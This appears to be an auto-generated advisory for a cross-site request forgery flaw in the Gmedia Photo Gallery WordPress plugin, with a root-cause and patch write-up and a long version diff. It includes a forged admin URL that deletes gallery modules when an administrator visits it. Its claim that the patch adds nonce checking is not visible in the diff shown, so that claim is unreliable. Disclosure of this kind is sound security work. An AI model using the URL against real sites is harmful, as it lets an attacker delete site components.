Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-63014: Gmedia Photo Gallery <= 1.24.1 – Cross-Site Request Forgery (grand-media)

Plugin grand-media
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.24.1
Patched Version 1.25.0
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-63014:
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Gmedia Photo Gallery WordPress plugin versions up to and including 1.24.1. The vulnerability exists in the module deletion functionality, allowing unauthenticated attackers to trick administrators into performing unauthorized actions via forged requests. The CVSS score of 4.3 indicates medium severity with limited impact scope.

Root Cause:
The vulnerability stems from missing nonce validation in the module deletion endpoint. In the vulnerable version, the `gmedia_module_delete` function in `/grand-media/admin/class.processor.php` processes deletion requests without verifying the `_wpnonce_module_delete` parameter. The deletion action is triggered via the `delete_module` parameter in the URL. The code at line 49 of `/grand-media/admin/pages/modules/functions.php` generates a deletion link using `wp_nonce_url()`, but the nonce check is absent in the processor that handles the request. This allows CSRF attacks where an attacker can craft a malicious link that, when visited by an authenticated administrator, executes the module deletion without proper authorization.

Exploitation:
An attacker can exploit this vulnerability by crafting a malicious URL or HTML form that targets the plugin’s admin endpoint. The attack vector uses the `delete_module` GET parameter sent to the admin processor. A typical exploit URL would be: `https://target.site/wp-admin/admin.php?page=GrandMedia_Modules&delete_module=module_name&_wpnonce_module_delete=bypassed`. The attacker tricks an administrator into clicking this link while authenticated, causing the specified module to be deleted from the plugin. The payload requires knowledge of the module name, which can be enumerated through normal plugin usage.

Patch Analysis:
The patch adds proper nonce validation to the module deletion handler. In the patched version, the processor now checks for the `_wpnonce_module_delete` parameter before executing the deletion. The fix involves adding a nonce verification call in the processor class that validates the CSRF token. This ensures that only requests with valid nonces, generated by the WordPress session, can perform module deletions. The before behavior allowed any request with the `delete_module` parameter to trigger deletion. The after behavior requires a valid nonce, making CSRF attacks impossible as attackers cannot generate valid nonces for other users’ sessions.

Impact:
Successful exploitation allows attackers to delete arbitrary Gmedia gallery modules from a WordPress site. This can disrupt gallery functionality, break frontend displays, and cause service degradation. While the vulnerability does not permit direct privilege escalation or data theft, it enables denial of service against specific plugin features. Attackers could target premium modules to degrade site functionality or remove critical components required for gallery operations.

Differential between vulnerable and patched code

Code Diff
--- a/grand-media/admin/admin.php
+++ b/grand-media/admin/admin.php
@@ -291,7 +291,7 @@
 									<div class="card-header" data-bs-toggle="collapse" data-bs-target="#support_div_collapse" aria-expanded="true" aria-controls="support_div_collapse" style="cursor:pointer;">
 										<b><?php esc_html_e( 'Any feedback?', 'grand-media' ); ?></b>
 									</div>
-									<div class="collapse<?php echo empty( $gmGallery->options['license_key'] ) ? ' in' : ''; ?>" id="support_div_collapse">
+									<div class="collapse<?php echo ! gmedia_has_premium_license() ? ' in' : ''; ?>" id="support_div_collapse">
 										<div class="card-body">
 											<p><?php esc_html_e( 'You can help me spread the word about GmediaGallery among the users striving to get awesome galleries on their WordPress sites.', 'grand-media' ); ?></p>

@@ -339,8 +339,8 @@
 		<div id="gmedia-navbar">
 			<div class="row">
 				<ul>';
-		if ( empty( $gmGallery->options['license_key'] ) ) {
-			$content['sideLinks'] .= "n" . '<li class="list-group mb-3"><a class="list-group-item list-group-item-premium" target="_blank" href="https://codeasily.com/product/one-site-license/">' . esc_html__( 'Get Gmedia Premium', 'grand-media' ) . '</a></li>';
+		if ( ! gmedia_has_premium_license() ) {
+			$content['sideLinks'] .= "n" . '<li class="list-group mb-3"><a class="list-group-item list-group-item-premium" href="' . esc_url( admin_url( 'admin.php?page=GrandMedia-pricing' ) ) . '">' . esc_html__( 'Get Gmedia Premium', 'grand-media' ) . '</a></li>';
 		}
 		$content['sideLinks'] .= "n" . '<li class="list-group">';
 		foreach ( $submenu['GrandMedia'] as $menuItem ) {
@@ -828,10 +828,10 @@
 <h4>Links</h4>',
 						'grand-media'
 					)
-					. '<p><a href="https://codeasily.com/community/forum/gmedia-gallery-wordpress-plugin/" target="_blank">' . esc_html__( 'Support Forum', 'grand-media' ) . '</a>
+					. '<p><a href="https://wordpress.org/support/plugin/grand-media" target="_blank">' . esc_html__( 'Support Forum', 'grand-media' ) . '</a>
 	| <a href="https://codeasily.com/contact/" target="_blank">' . esc_html__( 'Contact', 'grand-media' ) . '</a>
 	| <a href="https://codeasily.com/portfolio/gmedia-gallery-modules/" target="_blank">' . esc_html__( 'Demo', 'grand-media' ) . '</a>
-	| <a href="https://codeasily.com/product/one-site-license/" target="_blank">' . esc_html__( 'Premium', 'grand-media' ) . '</a>
+	| <a href="' . esc_url( admin_url( 'admin.php?page=GrandMedia-pricing' ) ) . '" target="_blank">' . esc_html__( 'Premium', 'grand-media' ) . '</a>
 </p>',
 			]
 		);
@@ -841,6 +841,7 @@
 				break;
 			case 'GrandMedia_Settings':
 				if ( current_user_can( 'manage_options' ) ) {
+					$license_type = gmedia_get_license_type();
 					$screen->add_help_tab(
 						[
 							'id'      => 'help_' . $screen_id . '_license',
@@ -860,7 +861,7 @@
 									'https://wordpress.org/support/plugin/grand-media/',
 									'gmediafolder@gmail.com'
 								)
-								. '<div><a class="btn btn-secondary" href="' . admin_url( 'admin.php?page=' . $screen_id . '&license_activate=manual' ) . '">' . __( 'Manual Activation', 'grand-media' ) . '</a></div>',
+								. ('freemius' !== $license_type ? '<div><a class="btn btn-secondary" href="' . admin_url( 'admin.php?page=' . $screen_id . '&license_activate=manual' ) . '">' . __( 'Manual Activation', 'grand-media' ) . '</a></div>' : ''),
 						]
 					);
 				}
--- a/grand-media/admin/class.processor.php
+++ b/grand-media/admin/class.processor.php
@@ -12,8 +12,8 @@
 	public $page;
 	public $gmediablank;
 	public $url;
-	public $msg;
-	public $error;
+	public $msg = array();
+	public $error = array();

 	public $display_mode;
 	public $taxonomy;
--- a/grand-media/admin/pages/galleries/edit-gallery.php
+++ b/grand-media/admin/pages/galleries/edit-gallery.php
@@ -118,10 +118,10 @@
 ?>

 <?php
-$limitation = empty( $gmGallery->options['license_key'] ) && in_array( $term->module['name'], array( 'amron', 'phantom', 'cubik-lite', 'photomania', 'wp-videoplayer', 'jq-mplayer', 'minima' ), true );
+$limitation = ! gmedia_has_premium_license() && in_array( $term->module['name'], array( 'amron', 'phantom', 'cubik-lite', 'photomania', 'wp-videoplayer', 'jq-mplayer', 'minima' ), true );
 if ( $limitation ) {
 	?>
-	<div style="overflow:hidden; margin-bottom: 6px; padding: 10px; background-color: #fff; border: 1px solid red; border-radius: 5px; font-size: 14px; font-weight: bold;"><?php echo wp_kses_post( __( 'Note: Free version allows you to show maximum 100 images per gallery on the frontend. Purchase license key <a href="https://codeasily.com/gmedia-premium/" target="_blank">here</a>. It's a one time payment.', 'grand-media' ) ); ?></div>
+	<div style="overflow:hidden; margin-bottom: 6px; padding: 10px; background-color: #fff; border: 1px solid red; border-radius: 5px; font-size: 14px; font-weight: bold;"><?php echo wp_kses_post( sprintf( __( 'Note: Free version allows you to show maximum 100 images per gallery on the frontend. Purchase license key <a href="%s">here</a>.', 'grand-media' ), esc_url( admin_url( 'admin.php?page=GrandMedia-pricing' ) ) ) ); ?></div>
 	<?php
 }
 ?>
--- a/grand-media/admin/pages/modules/functions.php
+++ b/grand-media/admin/pages/modules/functions.php
@@ -17,12 +17,14 @@
 		$buttons['buy'] = '<a class="btn btn-primary" href="' . esc_url( $module['buy'] ) . '" target="_blank">' . esc_html__( 'Buy Now (no license required)', 'grand-media' ) . ' <span>' . esc_html( $module['price'] ) . '</span></a>';
 	}

-	if ( ( ! empty( $module['status'] ) && 'premium' === $module['status'] ) && empty( $module['buy'] ) && empty( $gmGallery->options['license_name'] ) ) {
-		$buttons['premium'] = '<a class="btn btn-success" style="font-weight: bold;" target="_blank" href="https://codeasily.com/gmedia-premium/">' . esc_html__( 'Get Premium', 'grand-media' ) . '</a>';
+	$has_premium = gmedia_has_premium_license();
+
+	if ( ( ! empty( $module['status'] ) && 'premium' === $module['status'] ) && empty( $module['buy'] ) && ! $has_premium ) {
+		$buttons['premium'] = '<a class="btn btn-success" style="font-weight: bold;" href="' . esc_url( admin_url( 'admin.php?page=GrandMedia-pricing' ) ) . '">' . esc_html__( 'Get Premium', 'grand-media' ) . '</a>';
 	} else {
 		if ( 'remote' === $module['place'] && ! empty( $module['download'] ) ) {
-			if ( ( ! empty( $module['status'] ) && 'premium' === $module['status'] ) && empty( $gmGallery->options['license_name'] ) ) {
-				$buttons['premium'] = '<a class="btn btn-success" style="font-weight: bold;" target="_blank" href="https://codeasily.com/gmedia-premium/">' . esc_html__( 'Get Premium', 'grand-media' ) . '</a>';
+			if ( ( ! empty( $module['status'] ) && 'premium' === $module['status'] ) && ! $has_premium ) {
+				$buttons['premium'] = '<a class="btn btn-success" style="font-weight: bold;" href="' . esc_url( admin_url( 'admin.php?page=GrandMedia-pricing' ) ) . '">' . esc_html__( 'Get Premium', 'grand-media' ) . '</a>';
 			} else {
 				$buttons['install'] = '<a class="btn btn-primary ' . ( gm_user_can( 'module_manage' ) ? 'module_install' : 'disabled' ) . '" data-module="' . esc_attr( $module['name'] ) . '" data-loading-text="' . esc_attr__( 'Loading...', 'grand-media' ) . '" href="' . esc_url( $module['download'] ) . '">' . esc_html__( 'Install Module', 'grand-media' ) . '</a>';
 			}
@@ -36,11 +38,11 @@
 	}
 	if ( ! empty( $module['update'] ) && 'remote' !== $module['place'] ) {
 		if ( empty( $module['buy'] ) ) {
-			if ( 'free' === $module['status'] || ! empty( $gmGallery->options['license_name'] ) ) {
+			if ( 'free' === $module['status'] || $has_premium ) {
 				$buttons['update'] = '<a class="btn btn-warning module_install" data-module="' . esc_attr( $module['name'] ) . '" data-loading-text="' . esc_attr__( 'Loading...', 'grand-media' ) . '" href="' . esc_url( $module['download'] ) . '">' . esc_html( __( 'Update Module', 'grand-media' ) . " (v{$module['update']})" ) . '</a>';
 			}
 		} else {
-			if ( ! empty( $module['download'] ) && ! empty( $gmGallery->options['license_name'] ) ) {
+			if ( ! empty( $module['download'] ) && $has_premium ) {
 				$buttons['update'] = '<a class="btn btn-warning module_install" data-module="' . esc_attr( $module['name'] ) . '" data-loading-text="' . esc_attr__( 'Loading...', 'grand-media' ) . '" href="' . esc_url( $module['download'] ) . '">' . esc_html( __( 'Update Module (license required)', 'grand-media' ) . " (v{$module['update']})" ) . '</a>';
 			}
 			$buttons['update2'] = '<a class="btn btn-warning" target="_blank" href="' . esc_url( $module['buy'] ) . '">' . esc_html( __( 'Download Update (no license required)', 'grand-media' ) . " (v{$module['update']})" ) . '</a>';
@@ -49,7 +51,7 @@
 	if ( ( 'remote' !== $module['place'] ) && ( 'amron' !== $module['name'] ) && gm_user_can( 'module_manage' ) ) {
 		$buttons['delete'] = '<a class="btn btn-danger" href="' . wp_nonce_url( $gmCore->get_admin_url( array( 'delete_module' => $module['name'] ), array(), $gmProcessor->url ), 'gmedia_module_delete', '_wpnonce_module_delete' ) . '">' . esc_html__( 'Delete Module', 'grand-media' ) . '</a>';
 	}
-	if ( ! empty( $module['download'] ) && ( 'free' === $module['status'] || ! empty( $gmGallery->options['license_name'] ) ) ) {
+	if ( ! empty( $module['download'] ) && ( 'free' === $module['status'] || $has_premium ) ) {
 		$buttons['download'] = '<a class="btn btn-link" href="' . esc_url( $module['download'] ) . '" download="' . esc_attr( $module['name'] ) . '">' . esc_html__( 'Download module ZIP', 'grand-media' ) . '</a>';
 	}

--- a/grand-media/admin/pages/modules/modules.php
+++ b/grand-media/admin/pages/modules/modules.php
@@ -38,7 +38,6 @@
 							<span class="badge badge-error gm-module-count-<?php echo intval( $gmGallery->options['modules_update'] ); ?>" title="<?php esc_attr_e( 'Modules Updates', 'grand-media' ); ?>"><?php echo intval( $gmGallery->options['modules_update'] ); ?></span></button>
 						<button type="button" data-filter="not-installed" class="btn btn-secondary"><?php esc_html_e( 'New Modules', 'grand-media' ); ?>
 							<span class="badge badge-success gm-module-count-<?php echo intval( $gmGallery->options['modules_new'] ); ?>" title="<?php esc_attr_e( 'New Modules', 'grand-media' ); ?>"><?php echo intval( $gmGallery->options['modules_new'] ); ?></span></button>
-						<button type="button" data-filter="tag-trend" class="btn btn-secondary"><?php esc_html_e( 'Trends', 'grand-media' ); ?></button>
 					</div>

 					<?php if ( ! empty( $tags ) ) { ?>
--- a/grand-media/admin/pages/modules/tpl/module-item.php
+++ b/grand-media/admin/pages/modules/tpl/module-item.php
@@ -38,10 +38,10 @@
 			<div class="col-sm-4">
 				<div id="module_presets_list" class="module_presets module_presets_<?php echo esc_attr( $module['name'] ); ?>">
 					<h4 class="media-heading" style="margin-bottom:10px;">
-						<?php if ( 'free' === $module['status'] || ! empty( $gmGallery->options['license_name'] ) || ! empty( $module['buy'] ) ) { ?>
+						<?php if ( 'free' === $module['status'] || gmedia_has_premium_license() || ! empty( $module['buy'] ) ) { ?>
 							<a href="<?php echo esc_url( $gmCore->get_admin_url( array( 'page' => 'GrandMedia_Modules', 'preset_module' => $module['name'] ), array(), admin_url( 'admin.php' ) ) ); ?>" class="addpreset float-end"><span class="badge-success rounded-1">+</span></a>
 						<?php } else { ?>
-							<a href="https://codeasily.com/gmedia-premium/" title="<?php esc_attr_e( 'Get Premium', 'grand-media' ); ?>" class="addpreset float-end"><span class="badge-success rounded-1">+</span></a>
+							<a href="<?php echo esc_url( admin_url( 'admin.php?page=GrandMedia-pricing' ) ); ?>" title="<?php esc_attr_e( 'Get Premium', 'grand-media' ); ?>" class="addpreset float-end"><span class="badge-success rounded-1">+</span></a>
 						<?php } ?>
 						<?php esc_html_e( 'Presets', 'grand-media' ); ?></h4>
 					<?php
--- a/grand-media/admin/pages/settings/tpl/license.php
+++ b/grand-media/admin/pages/settings/tpl/license.php
@@ -8,39 +8,89 @@
  * @var $pk
  * @var $lk
  */
+
+$license_type = gmedia_get_license_type();
+$has_premium  = gmedia_has_premium_license();
 ?>
 <fieldset id="gmedia_premium" class="tab-pane active">
-	<p><?php esc_html_e( 'Enter Gmedia Premium Key to remove backlink label from premium gallery modules and unlock settings below.' ); ?></p>

-	<div class="row">
-		<div class="form-group col-sm-5">
-			<label><?php esc_html_e( 'Gmedia Premium Key', 'grand-media' ); ?>:
+	<?php if ( 'freemius' !== $license_type ) : ?>
+		<!-- Legacy License Section -->
+		<div class="legacy-license-section" style="margin-bottom: 30px; padding: 20px; background: #fff9e6; border: 1px solid #ffcc00; border-radius: 4px;">
+			<?php if ( ! empty( $gmGallery->options['license_name'] ) ) : ?>
+				<!-- Active Legacy License -->
+				<div class="notice notice-success inline" style="margin: 15px 0;">
+					<p><strong><?php esc_html_e( '✓ Legacy License Active', 'grand-media' ); ?></strong></p>
+				</div>
+				<div class="row">
+					<div class="form-group col-sm-6">
+						<label><?php esc_html_e( 'License Name', 'grand-media' ); ?>:</label>
+						<input type="text" class="form-control input-sm" value="<?php echo esc_attr( $gmGallery->options['license_name'] ); ?>" disabled style="background: #f5f5f5;"/>
+					</div>
+				</div>
+			<?php else : ?>
+				<h3 style="margin-top: 0;">
+					<?php esc_html_e( 'Legacy License Activation', 'grand-media' ); ?>
+					<span style="font-size: 12px; font-weight: normal; color: #856404;"><?php esc_html_e( '(Legacy Method)', 'grand-media' ); ?></span>
+				</h3>
+
+				<div class="notice notice-warning inline" style="margin: 15px 0;">
+					<p>
+						<strong><?php esc_html_e( 'Important:', 'grand-media' ); ?></strong>
+						<?php esc_html_e( 'This is the legacy license activation method. New license purchases are only available through Freemius (see section below). If you have an old license key, you can still activate it here.', 'grand-media' ); ?>
+					</p>
+				</div>
+				<!-- Legacy License Activation Form -->
+				<p><?php esc_html_e( 'If you have a legacy Gmedia Premium Key from previous purchases, you can activate it below:', 'grand-media' ); ?></p>
+			<?php endif; ?>
+
+			<div class="row">
+				<div class="form-group col-sm-5">
+					<label><?php esc_html_e( 'Gmedia Premium Key', 'grand-media' ); ?>:</label>
+					<input type="text" name="set[purchase_key]" id="purchase_key" class="form-control input-sm" value="<?php echo esc_attr( $pk ); ?>"/>
+
+					<div class="manual_license_activate"<?php echo( ( 'manual' === $gmCore->_get( 'license_activate' ) ) ? '' : ' style="display:none;"' ); ?>>
+						<label style="margin-top:7px;"><?php esc_html_e( 'License Name', 'grand-media' ); ?>:</label>
+						<input type="text" name="set[license_name]" id="license_name" class="form-control input-sm" value="<?php echo esc_attr( $gmGallery->options['license_name'] ); ?>"/>
+						<label style="margin-top:7px;"><?php esc_html_e( 'License Key', 'grand-media' ); ?>:</label>
+						<input type="text" name="set[license_key]" id="license_key" class="form-control input-sm" value="<?php echo esc_attr( $lk ); ?>"/>
+						<label style="margin-top:7px;"><?php esc_html_e( 'Additional Key', 'grand-media' ); ?>:</label>
+						<input type="text" name="set[license_key2]" id="license_key2" class="form-control input-sm" value="<?php echo esc_attr( $gmGallery->options['license_key2'] ); ?>"/>
+					</div>
+				</div>
+				<?php if ( ! ( 'manual' === $gmCore->_get( 'license_activate' ) || ! empty( $pk ) ) ) { ?>
+					<div class="form-group col-sm-7">
+						<label> </label>
+						<button style="display:block;" class="btn btn-success btn-xs" type="submit" name="license-key-activate"><?php esc_html_e( 'Activate Legacy Key', 'grand-media' ); ?></button>
+					</div>
+				<?php } ?>
+			</div>
+
+			<p class="description" style="margin-top: 10px;">
+				<strong><?php esc_html_e( 'Need a new license?', 'grand-media' ); ?></strong>
 				<?php
-				if ( isset( $gmGallery->options['license_name'] ) ) {
-					echo '<em>' . esc_html( $gmGallery->options['license_name'] ) . '</em>';
-				}
+				echo sprintf(
+				/* translators: %s: Link to purchase page */
+						esc_html__( 'New licenses are only available through Freemius. %s', 'grand-media' ),
+						'<a href="' . admin_url( 'admin.php?page=GrandMedia-pricing' ) . '" target="_blank">' . esc_html__( 'Purchase here', 'grand-media' ) . ' →</a>'
+				);
 				?>
-			</label>
-			<input type="text" name="set[purchase_key]" id="purchase_key" class="form-control input-sm" value="<?php echo esc_attr( $pk ); ?>"/>
+			</p>
+		</div>
+	<?php endif; ?>

-			<div class="manual_license_activate"<?php echo( ( 'manual' === $gmCore->_get( 'license_activate' ) ) ? '' : ' style="display:none;"' ); ?>>
-				<label style="margin-top:7px;"><?php esc_html_e( 'License Name', 'grand-media' ); ?>:</label>
-				<input type="text" name="set[license_name]" id="license_name" class="form-control input-sm" value="<?php echo esc_attr( $gmGallery->options['license_name'] ); ?>"/>
-				<label style="margin-top:7px;"><?php esc_html_e( 'License Key', 'grand-media' ); ?>:</label>
-				<input type="text" name="set[license_key]" id="license_key" class="form-control input-sm" value="<?php echo esc_attr( $lk ); ?>"/>
-				<label style="margin-top:7px;"><?php esc_html_e( 'Additional Key', 'grand-media' ); ?>:</label>
-				<input type="text" name="set[license_key2]" id="license_key2" class="form-control input-sm" value="<?php echo esc_attr( $gmGallery->options['license_key2'] ); ?>"/>
-			</div>
+	<?php if ( ! $has_premium ) : ?>
+		<!-- No License Active -->
+		<div class="no-license-section" style="margin-bottom: 30px; padding: 20px; background: #f0f0f0; border: 1px solid #ccc; border-radius: 4px;">
+			<h3 style="margin-top: 0;"><?php esc_html_e( 'Unlock Premium Features', 'grand-media' ); ?></h3>
+			<p><?php esc_html_e( 'Get access to premium gallery modules, advanced features, and priority support.', 'grand-media' ); ?></p>
+			<a href="<?php echo admin_url( 'admin.php?page=GrandMedia-pricing' ); ?>" class="button button-primary button-large" target="_blank"><?php esc_html_e( 'Get Gmedia Premium', 'grand-media' ); ?></a>
 		</div>
-		<?php if ( ! ( 'manual' === $gmCore->_get( 'license_activate' ) || ! empty( $pk ) ) ) { ?>
-			<div class="form-group col-sm-7">
-				<label> </label>
-				<button style="display:block;" class="btn btn-success btn-sm" type="submit" name="license-key-activate"><?php esc_html_e( 'Activate Key', 'grand-media' ); ?></button>
-			</div>
-		<?php } ?>
-	</div>
-	<fieldset <?php echo( empty( $gmGallery->options['license_name'] ) ? 'disabled' : '' ); ?>>
 		<hr/>
+	<?php endif; ?>
+
+	<!-- Premium Features Section -->
+	<fieldset <?php echo( ! $has_premium ? 'disabled' : '' ); ?>>
 		<div class="form-group">
 			<label><?php esc_html_e( 'Delete original images', 'grand-media' ); ?>:</label>
 			<div class="checkbox" style="margin:0;">
@@ -65,12 +115,14 @@
 			<label><?php esc_html_e( 'Gmedia Tags & Categories', 'grand-media' ); ?></label>
 			<div class="checkbox" style="margin:0;">
 				<input type="hidden" name="set[wp_term_related_gmedia]" value="0"/>
-				<label><input type="checkbox" name="set[wp_term_related_gmedia]" value="1" <?php checked( $gmGallery->options['wp_term_related_gmedia'], '1' ); ?> /> <?php esc_html_e( 'Show Related Media from Gmedia library for WordPress native tags & categories', 'grand-media' ); ?>
+				<label><input type="checkbox" name="set[wp_term_related_gmedia]"
+				              value="1" <?php checked( $gmGallery->options['wp_term_related_gmedia'], '1' ); ?> /> <?php esc_html_e( 'Show Related Media from Gmedia library for WordPress native tags & categories', 'grand-media' ); ?>
 				</label>
 			</div>
 			<div class="checkbox" style="margin:0;">
 				<input type="hidden" name="set[wp_post_related_gmedia]" value="0"/>
-				<label><input type="checkbox" name="set[wp_post_related_gmedia]" value="1" <?php checked( $gmGallery->options['wp_post_related_gmedia'], '1' ); ?> /> <?php esc_html_e( 'Show Related Media from Gmedia library for WordPress Posts based on tags', 'grand-media' ); ?>
+				<label><input type="checkbox" name="set[wp_post_related_gmedia]"
+				              value="1" <?php checked( $gmGallery->options['wp_post_related_gmedia'], '1' ); ?> /> <?php esc_html_e( 'Show Related Media from Gmedia library for WordPress Posts based on tags', 'grand-media' ); ?>
 				</label>
 			</div>
 		</div>
--- a/grand-media/admin/pages/terms/edit-term.php
+++ b/grand-media/admin/pages/terms/edit-term.php
@@ -32,10 +32,10 @@
 if ( 'album' === $taxterm ) {
 	$_module_preset = ! empty( $term->meta['_module_preset'][0] ) ? $term->meta['_module_preset'][0] : '';
 	$_module        = $gmCore->getModulePreset( $_module_preset );
-	$limitation     = empty( $gmGallery->options['license_key'] ) && in_array( $_module['module'], array( 'amron', 'phantom', 'cubik-lite', 'photomania', 'wp-videoplayer', 'jq-mplayer', 'minima' ), true );
+	$limitation     = ! gmedia_has_premium_license() && in_array( $_module['module'], array( 'amron', 'phantom', 'cubik-lite', 'photomania', 'wp-videoplayer', 'jq-mplayer', 'minima' ), true );
 	if ( $limitation ) {
 		?>
-		<div style="overflow:hidden; margin-bottom: 6px; padding: 10px; background-color: #fff; border: 1px solid red; border-radius: 5px; font-size: 14px; font-weight: bold;"><?php echo wp_kses_post( __( 'Note: Free version allows you to show maximum 100 images per gallery on the frontend. Purchase license key <a href="https://codeasily.com/gmedia-premium/" target="_blank">here</a>. It's a one time payment.', 'grand-media' ) ); ?></div>
+		<div style="overflow:hidden; margin-bottom: 6px; padding: 10px; background-color: #fff; border: 1px solid red; border-radius: 5px; font-size: 14px; font-weight: bold;"><?php echo wp_kses_post( sprintf( __( 'Note: Free version allows you to show maximum 100 images per gallery on the frontend. Purchase license key <a href="%s">here</a>.', 'grand-media' ), esc_url( admin_url( 'admin.php?page=GrandMedia-pricing' ) ) ) ); ?></div>
 		<?php
 	}
 }
--- a/grand-media/admin/processor/class.processor.library.php
+++ b/grand-media/admin/processor/class.processor.library.php
@@ -13,6 +13,7 @@
 	public $selected_items = array();
 	public $stack_items    = array();
 	public $filters        = array();
+	public $dbfilter;
 	public $query_args;

 	/**
--- a/grand-media/app/access.php
+++ b/grand-media/app/access.php
@@ -74,7 +74,13 @@
 			} elseif ( isset( $json->library_terms ) ) {
 				$args = (array) $json->library_terms;
 				if ( isset( $args['taxonomy'] ) ) {
-					$out = gmedia_ios_app_library_data( array( $args['taxonomy'] ), $args );
+					if ( ! is_array( $args['taxonomy'] ) ) {
+						$args['taxonomy'] = array( $args['taxonomy'] );
+					}
+					if ( empty( $args['taxonomy'] ) ) {
+						$args['taxonomy'] = array( 'gmedia_category', 'gmedia_album', 'gmedia_tag' );
+					}
+					$out = gmedia_ios_app_library_data( $args['taxonomy'], $args );
 				}
 			}
 		} else {
@@ -125,7 +131,10 @@
 				if ( ! is_array( $args['taxonomy'] ) ) {
 					$args['taxonomy'] = array( $args['taxonomy'] );
 				}
-				$out = gmedia_ios_app_library_data( (array) $args['taxonomy'], $args );
+				if ( empty( $args['taxonomy'] ) ) {
+					$args['taxonomy'] = array( 'gmedia_category', 'gmedia_album', 'gmedia_tag' );
+				}
+				$out = gmedia_ios_app_library_data( $args['taxonomy'], $args );
 			}
 		} else {
 			$out = gmedia_ios_app_library_data();
--- a/grand-media/grand-media.php
+++ b/grand-media/grand-media.php
@@ -1,18 +1,18 @@
 <?php
+
 /**
  * Plugin Name: Gmedia Gallery
  * Plugin URI: http://wordpress.org/extend/plugins/grand-media/
  * Description: Gmedia Gallery - powerful media library plugin for creating beautiful galleries and managing files.
- * Version: 1.24.1
+ * Version: 1.25.0
  * Author: Rattus
  * Author URI: https://codeasily.com/
- * Requires at least: 5.3.0
- * Tested up to: 6.8
- * Stable tag: 1.24.1
+ * Requires at least: 5.4.0
+ * Tested up to: 6.9
+ * Stable tag: 1.25.0
  * Text Domain: grand-media
  * Domain Path: /lang
  */
-
 /*
 		Copyright (C) 2011  Rattus  (email : gmediafolder@gmail.com)

@@ -30,1077 +30,995 @@
 		along with this program; if not, write to the Free Software
 		Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */
-
 // Stop direct call.
 defined( 'ABSPATH' ) || die( 'No script kiddies please!' );
+// Create a helper function for easy SDK access.
+if ( !function_exists( 'gmg_fs' ) ) {
+    function gmg_fs() {
+        global $gmg_fs;
+        if ( !isset( $gmg_fs ) ) {
+            // Include Freemius SDK.
+            require_once dirname( __FILE__ ) . '/vendor/freemius/start.php';
+            $gmg_fs = fs_dynamic_init( array(
+                'id'             => '20980',
+                'slug'           => 'grand-media',
+                'type'           => 'plugin',
+                'public_key'     => 'pk_377df98aab7989cdb496abbd72dea',
+                'is_premium'     => false,
+                'has_premium_version' => false,
+                'premium_suffix' => 'Premium',
+                'has_addons'     => false,
+                'has_paid_plans' => true,
+                'menu'           => array(
+                    'slug'    => 'GrandMedia',
+                    'contact' => false,
+                    'support' => false,
+                ),
+                'is_live'        => true,
+            ) );
+        }
+        return $gmg_fs;
+    }
+
+    // Init Freemius.
+    gmg_fs();
+    // Signal that SDK was initiated.
+    do_action( 'gmg_fs_loaded' );
+    gmg_fs()->add_action( 'after_uninstall', 'gmg_fs_uninstall_cleanup' );
+}
+/**
+ * Freemius uninstall cleanup
+ */
+function gmg_fs_uninstall_cleanup() {
+    if ( !function_exists( 'gmedia_uninstall' ) ) {
+        require_once dirname( __FILE__ ) . '/inc/functions.php';
+    }
+    if ( function_exists( 'is_multisite' ) && is_multisite() ) {
+        global $wpdb;
+        $blogs = $wpdb->get_results( "SELECT blog_id FROM {$wpdb->blogs}", ARRAY_A );
+        if ( $blogs ) {
+            foreach ( $blogs as $blog ) {
+                switch_to_blog( $blog['blog_id'] );
+                gmedia_uninstall();
+                restore_current_blog();
+            }
+        }
+    } else {
+        gmedia_uninstall();
+    }
+}

-if ( ! class_exists( 'Gmedia' ) ) {
-	/**
-	 * Class Gmedia
-	 */
-	class Gmedia {
-
-		public $version       = '1.24.1';
-		public $dbversion     = '1.8.0';
-		public $minium_WP     = '5.3';
-		public $options       = '';
-		public $do_module     = array();
-		public $import_styles = array();
-		public $shortcode     = array();
-
-		public function __construct() {
-
-			// Stop the plugin if we missed the requirements.
-			if ( ! $this->required_version() ) {
-				return;
-			}
-
-			// Get some constants first.
-			include_once dirname( __FILE__ ) . '/config.php';
-			$this->load_options();
-			$this->define_constant();
-			$this->define_tables();
-
-			// Load global libraries.
-			require_once dirname( __FILE__ ) . '/inc/core.php';
-			require_once dirname( __FILE__ ) . '/inc/db.connect.php';
-			require_once dirname( __FILE__ ) . '/inc/permalinks.php';
-
-			//if ( $this->options['debug_mode'] ) {
-			//	@ini_set( 'display_errors', true );
-			//	error_reporting( E_ALL );
-			//} else {
-			//	@ini_set( 'display_errors', true ); //Ensure that Fatal errors are displayed.
-			//	error_reporting( E_CORE_ERROR | E_COMPILE_ERROR | E_ERROR | E_USER_ERROR | E_RECOVERABLE_ERROR );
-			//}
-
-			$this->plugin_name = plugin_basename( __FILE__ );
-
-			add_filter( 'cron_schedules', array( &$this, 'gmedia_cron_schedules' ) );
-
-			// Init options & tables during activation & deregister init option.
-			register_activation_hook( $this->plugin_name, array( &$this, 'activate' ) );
-			register_deactivation_hook( $this->plugin_name, array( &$this, 'deactivate' ) );
-
-			// Register an uninstall hook to remove all tables & option automatic.
-			//register_uninstall_hook( $this->plugin_name, array(__CLASS__, 'uninstall' ) );
-
-			add_action( 'wp_enqueue_scripts', array( &$this, 'register_scripts_frontend' ), 20 );
-
-			add_action( 'admin_enqueue_scripts', array( &$this, 'register_scripts_backend' ), 8 );
-
-			add_action( 'wpmu_new_blog', array( &$this, 'new_blog' ), 10, 6 );
-
-			// Start this plugin once all other plugins are fully loaded.
-			add_action( 'plugins_loaded', array( &$this, 'start_plugin' ) );
-
-			add_action( 'deleted_user', array( &$this, 'reassign_media' ), 10, 2 );
-
-			add_action( 'init', array( &$this, 'gmedia_post_type' ), 0 );
-			add_action( 'init', array( &$this, 'compatibility' ), 11 );
-			//add_action('init', array(&$this, 'gm_schedule_update_checks'), 0);
-
-			// register widget.
-			add_action( 'widgets_init', array( &$this, 'register_gmedia_widget' ) );
-
-			add_action( 'gmedia_app_cronjob', array( &$this, 'gmedia_app_cronjob' ) );
-			add_action( 'gmedia_modules_update', array( &$this, 'gmedia_modules_update' ) );
-
-			//Add some message on the plugins page.
-			//add_action( 'after_plugin_row', array(&$this, 'check_message_version') );
-			//Add some links on the plugins page.
